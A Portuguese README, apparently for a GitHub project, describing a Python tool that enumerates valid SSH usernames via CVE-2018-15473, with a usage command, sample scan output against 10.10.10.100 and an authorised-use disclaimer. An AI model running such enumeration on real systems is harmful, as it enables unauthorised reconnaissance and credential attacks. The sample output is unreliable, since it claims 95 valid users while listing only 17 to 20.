CVE-2018-15473 – Enumeração de Nomes de Usuário SSH

Uma ferramenta Python desenvolvida por mim para identificar nomes de usuário SSH válidos ao explorar a CVE-2018-15473.

Informações do Alvo

Serviço: SSH
Versão: OpenSSH 5.8p1 Debian 1ubuntu3
Sistema Operacional: Ubuntu Linux
Protocolo: SSH-2.0
Avaliação: Testado para CVE-2018-15473 (Enumeração de Nomes de Usuário SSH)

Linguagem

Python 3

Recursos

Desenvolvido em Python 3.
Enumera nomes de usuário SSH válidos utilizando a CVE-2018-15473.
Suporta wordlists personalizadas de nomes de usuário.
Exibe os nomes de usuário descobertos em tempo real.
Fornece um resumo de todos os nomes de usuário válidos ao final da varredura.
Leve e fácil de usar.

Uso

python3 enum_ssh.py usernames.txt

Onde usernames.txt contém a lista de nomes de usuário a testar.

Exemplo de Saída

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

Aviso Legal

Esta ferramenta destina-se apenas a fins educacionais e testes de segurança autorizados. Use-a somente em sistemas para os quais você tenha permissão explícita.

CVE-2018-15473-User-Enumeration-

Mais Populares